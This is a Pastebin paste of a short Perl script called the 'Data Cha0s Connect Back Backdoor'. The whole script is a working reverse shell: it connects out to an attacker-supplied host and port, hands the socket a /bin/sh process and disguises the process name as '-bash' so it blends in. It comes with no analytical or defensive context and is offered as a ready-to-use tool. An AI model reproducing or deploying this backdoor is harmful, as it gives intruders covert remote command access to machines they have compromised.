Advertisement
_tl_

dc_decoded.pl

Feb 1st, 2012
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.74 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Socket;
  3. print "Data Cha0s Connect Back Backdoor\n\n";
  4. if (!$ARGV[0]) {
  5.   printf "Usage: $0 [Host] <Port>\n";
  6.   exit(1);
  7. }
  8. print "[*] Dumping Arguments\n";
  9. $host = $ARGV[0];
  10. $port = 80;
  11. if ($ARGV[1]) {
  12.   $port = $ARGV[1];
  13. }
  14. print "[*] Connecting...\n";
  15. $proto = getprotobyname('tcp') || die("Unknown Protocol\n");
  16. socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
  17. my $target = inet_aton($host);
  18. if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  19.   die("Unable to Connect\n");
  20. }
  21. print "[*] Spawning Shell\n";
  22. if (!fork( )) {
  23.   open(STDIN,">&SERVER");
  24.   open(STDOUT,">&SERVER");
  25.   open(STDERR,">&SERVER");
  26.   exec {'/bin/sh'} '-bash' . "\0" x 4;
  27.   exit(0);
  28. }
  29. print "[*] Datached\n\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement